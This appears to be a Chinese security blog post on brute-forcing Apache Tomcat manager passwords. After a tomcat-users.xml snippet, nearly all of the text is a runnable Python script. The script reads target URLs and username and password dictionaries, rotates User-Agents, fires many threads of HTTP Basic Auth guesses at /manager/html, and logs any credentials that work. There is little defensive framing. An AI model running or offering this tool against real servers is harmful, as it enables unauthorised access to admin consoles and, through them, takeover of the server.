Tomcat安全系列之二：Tomcat密码暴力破解

<tomcat-users>    <user username="admin" password="your_password" roles="manager-gui,admin-gui"/></tomcat-users>

import base64

import random

import time

import requests

import concurrent.futures

          

# 随机生成user-agents

def random_user_agent():

    agent_file = open("user-agents.txt", encoding="utf-8")

    user_agents = agent_file.readlines()

    agent_file.close()

    return random.choice(user_agents).strip()

          

def brute_force(url):

    # 读取用户名字典和密码字典

    with open("user.txt", encoding="utf-8") as user_file, open("passwd.txt", encoding="utf-8") as passwd_file:

        users = [user.strip() for user in user_file.readlines()]    

        passwords = [passwd.strip() for passwd in passwd_file.readlines()]

          

    url = url.strip()

    url_login = "{}/manager/html".format(url)

          

    def try_login(user, passwd):

        bs64 = "{}:{}".format(user, passwd)

        bs64_encoded = base64.b64encode(bs64.encode('utf-8')).decode("utf-8")

        authorization_header = "Basic {}".format(bs64_encoded)

        headers = {

            "User-Agent": random_user_agent(),

            "Authorization": authorization_header

        }

          

        try:

            response = requests.get(url_login, headers=headers, timeout=(3, 7))

            time.sleep(1)  # 避免过多的请求

            if response.status_code == 200:

                print("+++++++++++++++++++++++++++++++++++++")

                print(f"成功登录：账号 {user}，密码 {passwd}")

                print("+++++++++++++++++++++++++++++++++++++")

                with open("./bp_ok.txt", 'a+', encoding="utf-8") as f:

                    f.write(f"{url_login}n账号: {user} 密码: {passwd}n")

        except requests.exceptions.RequestException:

            pass

          

    print("开始爆破:", url_login)

    with concurrent.futures.ThreadPoolExecutor() as executor:

        # 并发执行尝试登录

        futures = [executor.submit(try_login, user, passwd) for user in users for passwd in passwords]

          

        # 处理并发任务的结果    

        for future in concurrent.futures.as_completed(futures):

            # 检查是否有异常，这里可根据实际情况进行适当的处理

            exception = future.exception()

            if exception is not None:

                print(f"请求发生异常: {exception}")

          

if __name__ == '__main__':

    with open("url.txt", encoding="utf-8") as url_file:

        urls = url_file.readlines()

          

    for url in urls:

        brute_force(url)